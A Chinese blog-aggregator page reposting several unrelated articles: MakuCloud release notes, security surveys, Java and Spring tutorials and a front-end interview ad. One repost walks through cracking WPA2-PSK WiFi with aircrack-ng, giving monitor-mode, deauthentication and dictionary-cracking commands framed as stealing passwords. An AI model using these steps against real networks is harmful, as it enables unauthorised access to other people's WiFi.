首页 文章 精选 留言 我的

精选列表

搜索[最权威安装],共10000篇文章
优秀的个人博客,低调大师

MakuCloud v2.4 发布,简洁的微服务解决方案

项目说明 maku-cloud 是采用 Spring Cloud Alibaba、SpringSecurity、Spring Cloud Gateway、SpringBoot、Nacos、Redis、Mybatis-Plus 等框架,开发的一套 SpringCloud 快速开发平台,使用门槛极低,且采用 MIT 开源协议,完全免费开源,可免费用于商业项目等场景。 官网地址:https://maku.net 开发文档:https://maku.net/docs/maku-cloud 演示环境:https://demo.maku.net/maku-cloud 更新日志 新增系统服务监控 新增缓存服务监控 新增SpringBootAdmin监控 新增接口文档菜单 新增公共配置文件 优化Web配置项 升级代码生成器模块 修复网关路由错误问题 前端工程 Gitee 仓库:https://gitee.com/makunet/maku-admin Github 仓库:https://github.com/makunet/maku-admin 后端工程 Gitee 仓库:https://gitee.com/makunet/maku-cloud Github 仓库:https://github.com/makunet/maku-cloud 代码生成器 Gitee 仓库:https://gitee.com/makunet/maku-generator Github 仓库:https://github.com/makunet/maku-generator 架构图 效果图

优秀的个人博客,低调大师

MakuCloud v2.3 发布,简洁的微服务解决方案

项目说明 maku-cloud 是采用 Spring Cloud Alibaba、SpringSecurity、Spring Cloud Gateway、SpringBoot、Nacos、Redis、Mybatis-Plus 等框架,开发的一套 SpringCloud 快速开发平台,使用门槛极低,且采用 MIT 开源协议,完全免费开源,可免费用于商业项目等场景。 官网地址:https://maku.net 开发文档:https://maku.net/docs/maku-cloud 演示环境:https://demo.maku.net/maku-cloud 更新日志 新增参数管理,可动态配置系统参数 新增登录验证码开关,可动态开启或关闭验证码 优化定时任务,只允许执行指定类型的类 优化Excel导入导出功能 修复分栏布局展示问题 前端工程 Gitee 仓库:https://gitee.com/makunet/maku-admin Github 仓库:https://github.com/makunet/maku-admin 后端工程 Gitee 仓库:https://gitee.com/makunet/maku-cloud Github 仓库:https://github.com/makunet/maku-cloud 代码生成器 Gitee 仓库:https://gitee.com/makunet/maku-generator Github 仓库:https://github.com/makunet/maku-generator 架构图 效果图

优秀的个人博客,低调大师

网络钓鱼依然是勒索软件顺手的敲门砖

Cloudian调查研究发现,报称网络钓鱼是勒索软件入口点的受害企业中,65%都为员工举行过防网络钓鱼培训。 Cloudian针对过去两年来经历过勒索软件攻击的200名IT决策者进行了调查访问,揭示勒索软件攻击团伙依然将网络钓鱼作为其攻击企业的主要方式之一。 半数以上的受访者都设置了员工防网络钓鱼培训,49%在遭攻击时是配置有边界防御措施的。 近25%的受访者称,其勒索软件攻击始于网络钓鱼,这些受访者中65%都组织过防网络钓鱼培训课程。员工人数500以下的企业中,41%表示其遭受的勒索软件攻击始于网络钓鱼。全部受害者中,约三分之一称其公有云是勒索软件犯罪团伙攻击他们的入口点。 报告解释道:“这反映出网络钓鱼手法日渐复杂,攻击者现在会模仿出自高层管理人员等可信同事的电子邮件(所谓‘钓鲸’攻击)。这些电子邮件有时候会包含个人信息,通常收集自社交媒体,以便让自身看起来更能取信于人,甚至非常谨慎的用户都会被骗到。” 勒索软件攻击团伙的速度也十分惊人,56%的受访者称,勒索软件攻击者在12小时之内就成功锁定了他们的数据并发出勒索信。30%的受访者称其数据在24小时内沦陷。经由网络钓鱼遭遇勒索软件攻击的公司中,76%的受害者指出,攻击者拿下他们的系统只用了不到12小时。 报告补充道,受访者44%的数据被劫为筹码,财务、运营、客户和员工数据都是攻击者的目标。企业经历的平均宕机时间是三天。 受访者平均财务损失为近50万美元,55%最终支付了赎金,平均赎金支出为22.3万美元。近15%的受访者表示支付了50万美元或更多。即使支付了赎金,也仅57%能够找回其全部数据。 报告写道:“调查结果揭示了此类攻击的残酷真相:即使精心准备,也非常难以防止。勒索软件能够快速渗透,严重影响企业的财务、运营、客户、员工和信誉。即使支付了赎金,其他相关损失也会很可观。” 勒索软件攻击响应相关支出可能达到平均18.3万美元。网络保险平均能弥补受害者60%的损失。但几乎90%的受害者表示,遭遇攻击后网络保险费率也提高了,平均涨价25%。 调查揭示,超过半数的受访者需要应对与其“财务、运营、员工、客户和信誉”相关的其他影响。 Cloudian首席营销官Jon Toor称:“只要不改变勒索软件应对方法,勒索软件威胁就会持续困扰全世界的企业。” Cloudian《2021年勒索软件受害者报告》: https://cloudian.com/lp/ransomware-victims-report-2021/?utm_medium=PR&utm_source=pressrelease&utm_campaign=dp-ransomware-veeam-0220&utm_content=2021RansomwareReport

优秀的个人博客,低调大师

暑期 2021 开启火热的“开源之夏”

6 月 30 日,开源软件供应链点亮计划-暑期 2021 公示中选名单以及活动最新数据: 经过社区导师与组委会的审核后,最终有 681个中选项目及承担的学生入选,高、中、低难度项目数量分别为:234、342、105个; 本次活动中,共收到有申请记录的有 798 个项目,1814 份项目申请书。 活动覆盖全球 109 个社区,447 所高校,共有 1864 位学生报名,1126 位学生提交申请; 值得注意的是,在 447 所高校中,有众多国际高校参与,暑期 2021 正在聚集全球范围内的高校开源爱好者。开源本就是献给全世界开发者的礼物,好的开源软件和社区可以号召不同国家的开发者参与贡献。通过本次活动,来自不同国家的高校学生也可以因技术和兴趣相遇,拓展国际视野。 在技术方面,本次活动的项目任务所涉及的技术领域和编程语言非常多样,从对报名数据的分析结果来看,申请人数最多的编程语言是 Java,共 402 人申请,其次是 JavaScript、Go、C++、Python、C、React、Typescript、Rust、PHP等;申请人数最多的技术领域为 Linux,共 425 人申请,其次是 Distributed System、Git、Cloud Native、AI、Database、Micro Service、Nodejs、Kubernetes、Storage等。 从公示的数据来看,暑期 2021 吸引了来自全球各地的高校学生以及开源社区参加,也涌现了一大批高质量的项目。 为什么暑期 2021 可以吸引到如此多的参与者?暑期 2021 可以为参与者带来什么? 作为一项面向高校学生的暑期活动,暑期 2021 旨在鼓励在校学生积极参与开源软件的开发维护,促进优秀开源软件社区的蓬勃发展。活动除支持采用OSI 组织认证的开源协议的开源软件项目外,也支持采用推荐的开放知识协议的开源知识类项目,如技术文档汉化、知识文档等。 暑期 2021 不仅仅鼓励学生为社区提交贡献,组委会更希望为广大在校学生介绍开源理念,帮助在校学生深入了解开源文化、参与开源社区的方式方法。在整个活动期间,组委会还特别推出了“大咖说开源”系列直播活动,持续邀请国内外的开源届资深人士来为大家分享开源经验、开源文化。 暑期 2021 也有非常强大的支持机构。暑期 2021 由中国科学院软件研究所与 openEuler 社区主办,中科院软件研究所南京软件技术研究院承办,联合各大开源社区,针对重要开源软件的开发与维护提供项目,并向全球高校学生开放报名。这对于在校生来说,是在国际舞台上深入参与开源的绝佳契机。 参与活动的学生将在这个夏天收获满满,除了丰厚的奖金激励之外,更重要的是难得的真正参与知名开源项目开发的机会,且有来自全球 109 个社区的大咖亲自指导,每个项目任务配备了一名资深社区导师,带领学生完成项目任务,指导学生如何成为一名真正的开源贡献者。 此次公示之后,暑期 2021 将进入新里程碑,各活动参与方如学生、社区、导师等将共建项目,一起开启“开源之夏”。 暑期 2021 进入集中开发阶段 中选公示是暑期 2021 活动的重大里程碑。6 月 30 日,暑期 2021 结束为期近半年的注册、报名、提交项目申请与审核等环节,在审核结果公示之后,正式进入到集中开发阶段。 项目开发周期从 7 月 1 日开始,持续到 9 月 30 日,在此期间,中选学生将在导师的指导下独立完成相应的开发任务。 项目开发分为两个阶段,对应两个重要 里程碑:中期考核、结项考核。 阶段一:7 月 1 日-8 月 15 日 阶段二:8 月 16 日-9 月 30 日 注:只有通过中期考核的同学才可以继续第二阶段的项目开发。 中选项目奖品 所有中选学生将会收到组委会寄出的纪念礼包一份,内含暑期 2021 定制 T 恤和背包,礼包将于 7 月中下旬陆续寄出。 根据难度设置,低难度项目奖金为6000 元、中难度项目奖金为9000 元、高难度项目奖金为12000 元(注:奖金数额为税前人民币金额)。 通过中期考核的学生会先收到 50% 的项目奖金,通过结项考核的学生将获得剩余 50% 的奖金。 若结项评审未通过,则不予发放剩余奖金数额。 通过结项评审的学生将收到组委会颁发的结项证书,还将有机会参与年度优秀项目评选。 暑期 2021 官网入口:https://summer.iscas.ac.cn/#/homepage?lang=chi 暑期 2021 项目列表:https://summer.iscas.ac.cn/#/org/projectlist?lang=chi 对暑期 2021 感兴趣的高校开发者们,也可以扫描二维码,添加小助手入群咨询。

优秀的个人博客,低调大师

Java 数组转 List 的 3 种方式,哪种性能牛?

前言: 本文介绍Java中数组转为List三种情况的优劣对比,以及应用场景的对比,以及程序员常犯的类型转换错误原因解析。 一.最常见方式(未必最佳) 通过 Arrays.asList(strArray) 方式,将数组转换List后,不能对List增删,只能查改,否则抛异常。 关键代码:List list = Arrays.asList(strArray); privatevoidtestArrayCastToListError(){ String[]strArray=newString[2]; Listlist=Arrays.asList(strArray); //对转换后的list插入一条数据 list.add("1"); System.out.println(list); } 执行结果: Exceptioninthread"main"java.lang.UnsupportedOperationException atjava.util.AbstractList.add(AbstractList.java:148) atjava.util.AbstractList.add(AbstractList.java:108) atcom.darwin.junit.Calculator.testArrayCastToList(Calculator.java:19) atcom.darwin.junit.Calculator.main(Calculator.java:44) 程序在list.add(“1”)处,抛出异常:UnsupportedOperationException。 原因解析: Arrays.asList(strArray)返回值是java.util.Arrays类中一个私有静态内部类java.util.Arrays.ArrayList,它并非java.util.ArrayList类。java.util.Arrays.ArrayList类具有 set(),get(),contains()等方法,但是不具有添加add()或删除remove()方法,所以调用add()方法会报错。 使用场景:Arrays.asList(strArray)方式仅能用在将数组转换为List后,不需要增删其中的值,仅作为数据源读取使用。Java 中初始化 List 集合的 6 种方式,这篇推荐看下。关注公众号Java技术栈获取Java 集合系列教程及面试题答案。 二.数组转为List后,支持增删改查的方式 通过ArrayList的构造器,将Arrays.asList(strArray)的返回值由java.util.Arrays.ArrayList转为java.util.ArrayList。 关键代码:ArrayList<String> list = new ArrayList<String>(Arrays.asList(strArray)) ; privatevoidtestArrayCastToListRight(){ String[]strArray=newString[2]; ArrayList<String>list=newArrayList<String>(Arrays.asList(strArray)); list.add("1"); System.out.println(list); } 执行结果:成功追加一个元素“1”。 [null,null,1] 使用场景:需要在将数组转换为List后,对List进行增删改查操作,在List的数据量不大的情况下,可以使用。 三.通过集合工具类Collections.addAll()方法(最高效) 通过Collections.addAll(arrayList, strArray)方式转换,根据数组的长度创建一个长度相同的List,然后通过Collections.addAll()方法,将数组中的元素转为二进制,然后添加到List中,这是最高效的方法。 推荐阅读:线程安全的List,看完再也不怕了! 关键代码: ArrayList<String>arrayList=newArrayList<String>(strArray.length); Collections.addAll(arrayList,strArray); 测试: privatevoidtestArrayCastToListEfficient(){ String[]strArray=newString[2]; ArrayList<String>arrayList=newArrayList<String>(strArray.length); Collections.addAll(arrayList,strArray); arrayList.add("1"); System.out.println(arrayList); } 执行结果:同样成功追加一个元素“1”。 [null,null,1] 使用场景:需要在将数组转换为List后,对List进行增删改查操作,在List的数据量巨大的情况下,优先使用,可以提高操作速度。关注公众号Java技术栈获取 Java 集合系列教程及面试题答案。 注:附上Collections.addAll()方法源码: publicstatic<T>booleanaddAll(Collection<?superT>c,T...elements){ booleanresult=false; for(Telement:elements) result|=c.add(element);//result和c.add(element)按位或运算,然后赋值给result returnresult; } 问题解答 问题:数组类型如果是整型数组,转为List时,会报错? 答案:在JDK1.8环境中测试,这三种转换方式是没有问题的。放心使用。对于Integer[]整型数组转List的方法和测试结果如下: 方式一:不支持增删 Integer[]intArray1=newInteger[2]; List<Integer>list1=Arrays.asList(intArray1); System.out.println(list1); 运行结果: [null,null] 方式二:支持增删 Integer[]intArray2=newInteger[2]; List<Integer>list2=newArrayList<Integer>(Arrays.asList(intArray2)); list2.add(2); System.out.println(list2); 运行结果: [null,null,2] 方式三:支持增删,且数据量大最高效 Integer[]intArray3=newInteger[2]; List<Integer>list3=newArrayList<Integer>(intArray3.length); Collections.addAll(list3,intArray3); list3.add(3); System.out.println(list3); 运行结果: [null,null,3] 综上,整型Integer[]数组转List<Integer>的正确方式应该是这样的。 易错点:可能出现的错误可能是这样转换的: int[]intArray1=newint[2]; List<Integer> list1 = Arrays.asList(intArray1);//此处报错!!! 报错原因:等号两边类型不一致,当然编译不通过。分析见下文。 那么在声明数组时,用int[] 还是Integer[],哪种声明方式才能正确的转为List呢?答案:只能用Integer[]转List<Integer>,即只能用基本数据类型的包装类型,才能直接转为List。 原因分析如下: 我们来看List在Java源码中的定义(别害怕看不懂源码,看我分析,很易懂的): publicinterfaceList<E>extendsCollection<E>{省略…} 再来看Arrays.asList()的在Java源码定义: publicstatic<T>List<T>asList(T...a){ returnnewArrayList<>(a); } 从上述源码中可以看出, List声明时,需要传递一个泛型 <E>作为形参, asList()参数类型也是泛型中的通配类型 <T>。Java中所有的泛型必须是引用类型。 什么是引用类型? Integer是引用类型,那 int是什么类型? int是基本数据类型,不是引用类型。这就是为什么java中没有 List<int>,而只有 List<Integer>。 举一反三:其他8种基本数据类型 byte、short、int、long、float、double、char也都不是引用类型,所以8种基本数据类型都不能作为List的形参。但 String、数组、class、interface是引用类型,都可以作为List的形参,所以存在 List<Runnable>接口类型的集合、 List<int[]>数组类型的集合、 List<String>类的集合。但不存在 list<byte>、 list<short> 等基本类型的集合。 有了上述基础知识后,再来看为什么下面两行代码第二行能编译通过,第三行却编译报错? int[]intArray1=newint[1]; Arrays.asList(intArray1);//编译不报错 List<Integer>list1=Arrays.asList(intArray1);//编译报错 答案: 第二行代码, Arrays.asList()方法的入参是个引用类型的 int[],那么返回值类型一定是 List<int[]> ,其完整代码是: List<int[]> intsArray = Arrays.asList(intArray1);,所以编译通过,没问题。 第三行报错,因为等号两边的类型不一致,左边: List<Integer>,右边 List<int[]>,所以编译时就报错。 总结 现在你应该明白,为什么int[]不能直接转换为List<Integer>,而Integer[]就可以转换为List<Integer>了吧。 因为List中的泛型必须是引用类型,int是基本数据类型,不是引用类型,但int的包装类型Integer是class类型,属于引用类型,所以Integer可以作为List形参,List<Integer>在java中是可以存在的,但不存在List<int>类型。 在编码时,我们不光要知其然,还要知其所以然,通过分析JDK源码,才能得出一手信息,不仅了解到了如何用,还能得出为何这样用。 希望我的解答对你有帮助,有疑惑的地方,可以在文章下方评论,我会给大家解惑的,喜欢本文请点赞和收藏。 作者:大脑补丁 本文链接: https://blog.csdn.net/x541211190/article/details/79597236 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文分享自微信公众号 - Java技术栈(javastack)。 如有侵权,请联系 support@oschina.cn 删除。 本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

优秀的个人博客,低调大师

牛掰了,用朴素的方法WiFi无线渗透,偷密码

掌控安全学院-kkkk投稿 WPA/WPA2: WPA/WPA2是一种比WEP强壮的加密算法,挑选这种安全类型,路由器将选用Radius服务器进行身份认证并得到密钥的WPA或WPA2安全形式。 因为要架起一台专用的认证服务器,价值对比贵重且保护也很杂乱,所以不推荐不同用户运用此安全类型。 WPA-PSK/WPA2-PSK: WPA-PSK/WPA2-PSK安全类型其实是WPA/WPA2的一种简化版本,它是依据同享密钥的WPA形式,安全性很高,设置也相对简单,适合不同家庭用户和小型企业运用。 其详细设置: 认证类型:该项用来挑选体系选用的安全形式,即主动、WPA-PSK、WPA2-PSK。 主动:若挑选该项,路由器会依据主机恳求主动挑选WPA-PSK或WPA-PSK的安全形式。 加密算法:该项用来挑选对无线数据进行加密的安全算法,选项有主动、TKIP、AES。默许选项为主动,挑选该项后,路由器将依据实践需求主动挑选TKIP或AES加密办法。留意11N形式不支持TKIP算法。 PSK暗码:该项就是WPA-PSK/WPA2-PSK的初始密钥了,在设置是,需求为8-63个ASCII字符或者8-64个十六进制的字符。 组密钥更新周期:该项设置播送和组博密钥的定时更新,以秒为单位,最小值为30,若该值为0,问表示不进行更新。 使用Aircrack-ng抓取WPA2-PSK握手包 主要步骤: 1.设置无线网卡至监听模式airmon-ng start wlan0 2.扫描周围WPA2-PSK加密的无线信号airodump-ng wlan0mon 3.新建一个终端,抓取握手包airodump-ng -c [num] -w wpa2 wlan0mon需指定信道 4.等待过程中,发起DeAuth攻击,强制将客户端踢下线重连,抓取握手包: aireplay-ng -0 5 -a BSSID -c STATION wlan0mon设置为发起5次攻击 如果想要不停的发起攻击就是这样aireplay-ng -0 0 -a BSSID -c STATION wlan0mon 开始操作 我使用的网卡是TL-WN722N 此时需要让虚拟机连接网卡 连接成功后,输入ifconfig会看到 然后输入airmon-ng start wlan0 成功后 开始监听(扫描周围的无线信号) 途中CN为信道 airodump-ng -c 信道 --bssid xxx -w 保存路径 wlan0mon 抓取目标的握手包 参数:—ivs -w FAN 保存ivs格式的包,名字为test —bssid 要破解ap的ssid 强制将客户端踢下线aireplay-ng -0 0 -a 目标的MAC地址 -c 目标客户端MAC wlan0mon aireplay-ng -0 0 -a F4:83:CD:F6:15:72 -c 66:F6:84:88:3C:F1 wlan0mon 开始进行攻击,但是有时候该命令会报错。这是因为网卡会随机使用信道,信道不同,多尝试几次同样的命令直到成功就行了 如图所示就证明抓到了握手包 开始破解密码,执行 最后用好的字典爆破 如下的命令,成功后就可以看到已经破解出的密码,如果密码复杂一点,可能需要时间 aircrack-ng -w 字典 保存的包 aircrack-ng -w 后面都是绝对路径 学习更多黑客技能!体验靶场实战练习 (黑客视频资料及工具) 往期内容回顾 渗透某赌博网站杀猪盘的经历! 手把手教你如何远程监听他人手机 黑客网站大全!都在这了!速看被删就没了 本文分享自微信公众号 - 暗网黑客(HackRead)。如有侵权,请联系 support@oschina.cn 删除。本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

优秀的个人博客,低调大师

调查:网络连接是网络安全专家关注的问题

可靠的室内无线网络已成为商业房地产所有者尝试向潜在租户租用空间时的主要卖点。强大的连通性确保租户可以使用他们的手机、笔记本电脑和平板电脑并进行视频会议而不会受到任何干扰。 不过,还有一个更重要的原因,即商业地产所有者需要保持稳定的网络连接及网络安全。互联网安全和云服务提供商iomart最近的调查显示,这已经成为行业专家的主要关注点,“您的WAN是否阻碍了您的业务?” 调查显示,近一半(46%)的企业表示对广域网(WAN)连接不满意,这可能会使它们更容易受到网络攻击。此外,与其他组织相比,拥有20到49个办公地点的企业更有可能遇到连接问题,其中31%的员工报告WAN连接失败。对于安全工程师来说,连接性问题是一个特别的症结所在,他们占调查受访者的38.5%。 远程工作增加了网络攻击的可能性 网络连接不稳定会对企业造成危险,因为租户可能会转向不安全的Internet连接或设备来执行其工作。使用不安全的网络会增加病毒和恶意软件的漏洞级别。 同时,由于远程员工的家庭无线网络所受的安全、维护或监控水平与业务网络不同,因此对于远程员工而言,这些风险会更大。尽管存在风险,iomart的调查显示,尽管有一半的受访者表示连接会给他们带来问题,但仍有45%的企业不打算在其业务网络中引入安全的Internet服务。 iomart表示,COVID-19大流行迫使许多员工在家工作,而网络罪犯则利用了这种优势。据报道,3月至5月中旬,通过电子邮件针对远程工作者的攻击数量增加了48%。在2月至5月之间,由于与COVID-19相关的网络欺诈,损失了超过590万美元。 iomart董事Bill Strain在一份声明中说:“尽管出于成本考虑,企业可能不愿投资于网络安全,但不稳定的网络的安全隐患在出现违规事件时可能会带来灾难性的后果。” “远程办公人员更容易受到勒索软件,病毒或黑客攻击之类的破坏,因为不太可能采取关键的办公室安全措施。投资安全连接将有助于最大程度地减少不良行为者带来的潜在威胁,并提高长期业务生产力和绩效。”

优秀的个人博客,低调大师

「2020最新」Spring易学习教程—IOC 以及 整合Struts2

0 复习 工厂设计模式 使用工厂代替new模式创建对象,目的:解耦合 Spring工厂的使用 applicationContext.xml中配置 bean标签 编码:创建工厂,从工厂中获取对象 Spring中属性注入 简单类型(基本类型+包装类+String) <beanid="标识名"class="全类名"><propertyname="属性"><value>值</value></property><propertyname="属性"value="值"/></bean> 对象类型 <beanid="a"class="Address的全类名"><propertyname="属性1"value="值1"/><propertyname="属性2"value="值2"/></bean><beanid="p"class="Person全类名"><propertyname="addr"><refbean="a"/></property></bean><beanid="p2"class="Person全类名"><propertyname="addr"ref="a"/></bean> 数组+List+Set Map+Properties 1 注入补充 1.1 null值 当需要显式的为属性赋值为 null 时,通过 null标签完成。 <beanid="u"class="com.bcl.entity.User"><constructor-argvalue="1"index="0"/><constructor-argvalue="xiaohei"index="1"/><constructor-argindex="2"><null/></constructor-arg></bean> 1.2 内部bean <beanid="a"class="com.bcl.entity.Address"><propertyname="street"value="文化路"/><propertyname="city"value="硅谷"/></bean><beanid="p"class="com.bcl.entity.Person"><propertyname="personId"value="1"/><propertyname="personName"value="xiaohei"/><propertyname="addr"ref="a"/></bean>可以使用内部bean替换的写法<beanid="p"class="com.bcl.entity.Person"><propertyname="personId"value="1"/><propertyname="personName"value="xiaohei"/><propertyname="addr"><beanclass="com.bcl.entity.Address"><propertyname="city"value="郑州"/><propertyname="street"value="文化路"/></bean></property></bean> 2 FactoryBean技术(创建复杂对象) 2.1 FactoryBean引言 Spring工厂要管理程序中各种种类的对象。 image-20200601102514322 2.2 FactoryBean的开发步骤 编码 实现FactoryBean接口 publicclassConnectionFactoryBeanimplementsFactoryBean<Connection>{@Override//返回复杂对象publicConnectiongetObject()throwsException{//1加载驱动Class.forName("com.mysql.jdbc.Driver");//2建立连接Stringurl="jdbc:mysql://localhost:3306/bcl2002?useUnicode=true&characterEncoding=utf8";Stringusername="root";Stringpassword="root";Connectionconn=DriverManager.getConnection(url,username,password);returnconn;}@Override//返回复杂对象的类型publicClass<?>getObjectType(){returnConnection.class;}@Override//复杂对象是否单例 true:单例 false:多例publicbooleanisSingleton(){returntrue;}} 配置 <!--配置factoryBean的全类名,根据id:conn获取到是Connection对象--><beanid="conn"class="com.bcl.factory.ConnectionFactoryBean"/> 注意: 根据id获取到的复杂对象,不是FactoryBean 可以根据&id获取到FactoryBean 复杂对象的单例与否,只与isSingleton方法有关 3 Spring中对象的生命周期(了解) 生命周期: 从生到死的过程。 多例时 (scope="prototype") 对象在getBean时创建 单例时(scope="singleton") 对象在工厂创建时随之创建初始化:init-method:对象创建后,执行1次方法销毁:destroy-method:对象销毁时,执行1次的方法对象在工厂关闭时销毁 4 Spring配置文件分析 4.1 Spring配置文件的拆分 应用复杂时,需要将配置文件拆分成多个小的配置文件,放置到不同模块,最后在总配置文件中通过import标签引入其它的小配置文件。 <importresource="classpath:a/applicationContext-a.xml"/><importresource="classpath:b/applicationContext-b.xml"/> 4.2 Spring 中xsd文件 xsd(XML Schema Definition)文件,规定了一个xml可以使用哪些标签、哪些属性,以及它们的顺序。 xsd的基本使用 image-20200601113429666 使用xsd文件,要配置xsd的命名空间,以及文件路径对。 在一个xml中使用多个xsd image-20200601114026438 示例: image-20200601120115361 4.3 Spring配置文件中拆分jdbc.properties 抽取jdbc.properties jdbc.driverClassName=com.mysql.jdbc.Driverjdbc.url=jdbc:mysql://localhost:3306/bcl2002?useUnicode=true&characterEncoding=utf8jdbc.username=rootjdbc.password=root 读取配置文件 <context:property-placeholderlocation="classpath:jdbc.properties"/> 使用jdbc.properties中的参数 <beanid="conn"class="com.bcl.factory.ConnectionFactoryBean"><propertyname="driverClassName"value="${jdbc.driverClassName}"/><propertyname="url"value="${jdbc.url}"/><propertyname="username"value="${jdbc.username}"/><propertyname="password"value="${jdbc.password}"/></bean> 注意:${username} 会优先读取操作系统用户名,可以给参数添加前缀进行区分。 5 Spring IOC和DI IOC(Inversion Of Control)控制反转 (思想) DI(Dependency Injection)依赖注入 (实现手段) 控制:对于对象属性赋值的控制权力。 image-20200601141742924 正向控制的问题:强耦合。 解决方案:控制反转。 image-20200601142542072 结论:要解耦合,就不要new,转为在spring配置文件中通过配置的方式由工厂创建对象。 6 Spring整合Struts2 准备工作:创建好一个可运行的struts2项目。 6.1 整合效果 image-20200601152503882 Spring整合Struts2的效果:由Spring工厂创建Struts2需要的Action和Service. 6.2 实战 导入spring-web 依赖 <dependency><groupId>org.springframework</groupId><artifactId>spring-web</artifactId><version>4.3.26.RELEASE</version></dependency><dependency><groupId>org.apache.struts</groupId><artifactId>struts2-spring-plugin</artifactId><version>2.3.16.3</version></dependency> tomcat启动应用时,自动创建Spring工厂 web.xml <context-param><param-name>contextConfigLocation</param-name><param-value>classpath:applicationContext.xml</param-value></context-param><listener><listener-class>org.springframework.web.context.ContextLoaderListener</listener-class></listener> Struts2从Spring工厂中获取Action applicationContext.xml <beanid="userService"class="com.bcl.service.impl.UserServiceImpl"/><beanid="userAction"class="com.bcl.action.UserAction"scope="prototype"><propertyname="userService"ref="userService"/></bean> struts.xml <packagename="day02"extends="struts-default"namespace="/day02"><!--class配置的是spring配置文件中Action的id--><actionname="showAllUsers"class="userAction"method="showAllUsers"><resultname="success">/showAllUsers.jsp</result></action></package> 7 Spring整合JUnit 之前的JUnit测试Spring框架,每次都需要读取配置文件,创建工厂,测试繁琐。 解决方案:使用 spring-test 进行测试 准备工作: <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-test</artifactId><version>4.3.26.RELEASE</version></dependency> 简化测试: @RunWith(SpringJUnit4ClassRunner.class)@ContextConfiguration("classpath:applicationContext.xml")publicclassApplicationContextTest{@AutowiredprivateUseru;@TestpublicvoidtestUser(){System.out.println("u="+u);}} 8 Spring基于注解的配置方式 使用注解替换xml配置的好处:简化配置、提高开发效率。 注解的不足:不利于配置的管理。 8.1 使用注解的思路 image-20200601165433399 操作思路: 使用Component注解替换bean标签配置 使用Autowired注解替换property标签 8.2 注解开发的步骤 给类和属性添加注解 @Component("userService")publicclassUserServiceImplimplementsUserService{...}@Component("userAction")publicclassUserAction{@AutowiredprivateUserServiceuserService;publicvoidsetUserService(UserServiceuserService){this.userService=userService;}...} 查找注解:配置查找注解的起始包名 applicationContext.xml<!--<context:component-scanbase-package="com.bcl.action,com.bcl.service.impl"/>--><context:component-scanbase-package="com.bcl"/> 8.3 核心注解 @Component Component注解替换bean标签,创建对象。与其作用相同还有3个注解: @Controller 用在action层 @Service 用在service层 @Repository 用在dao层 注意事项: 后3个注解实际开发时使用频率更高,比Component有更高的辨识度 MyBatis框架中,Repository没有使用场景 4个注解在使用时,都可以省略id参数。会有默认id:类名首字母小写 UserAction==> userAction UserServiceImpl ==> userServiceImpl @Autowired 用于属性注入。 注意事项: 默认根据类型查找所需要的属性对象 Autowired 用于属性上,底层通过反射操作属性赋值 Autowired用在set方法上,底层通过调用set方法赋值 @Qualifier 当Autowired注入属性,Spring中有不止一个满足条件的对象,为了分辨使用哪个对象,可以通过@Qualifier("bean的id") 确定。 @Controller("userAction")publicclassUserAction{@Autowired@Qualifier("userServiceImpl2")privateUserServiceuserService;...} @Scope 决定是否单例。 @Controller("userAction")@Scope("prototype")publicclassUserAction{...} 业内标准: 对于自定义的类型,使用注解。比如:dao、service、action 第3方类型,使用xml。比如:数据库连接池、事务管理器 「❤️ 帅气的你又来看了我」 如果你觉得这篇内容对你挺有有帮助的话: 点赞支持下吧,让更多的人也能看到这篇内容(收藏不点赞,都是耍流氓 -_-) 欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。 觉得不错的话,也可以关注 编程鹿 的个人公众号看更多文章和讲解视频(感谢大家的鼓励与支持🌹🌹🌹) 本文分享自微信公众号 - 鹿小洋的Java笔记(lulaoshiJava)。如有侵权,请联系 support@oschina.cn 删除。本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

优秀的个人博客,低调大师

前端30K面试准备,完整面试真题分享!

送福利啦! 历经两个月发展,本人终于回归前端岗位!裸辞的艰辛已然消逝在这里特地讲我自己这两个月整理的相关面试题分享给大家,免费获取哦~ 内容: 基础题(293题)进阶题(30题)高级题(91题)计算机基础题(14题)高频考点(37题)综合问题(125题)大厂面试真题(阿里、网易等)个人面试经验思维导图 获取方式: 020 持续更新,精品小圈子每日都有新内容,干货浓度极高。 结实人脉、讨论技术 你想要的这里都有! 抢先入群,跑赢同龄人!(入群无需任何费用) 点击此处,与iOS开发大牛一起交流学习 申请即送: BAT大厂面试题、独家面试工具包,资料免费领取

资源下载

更多资源
优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。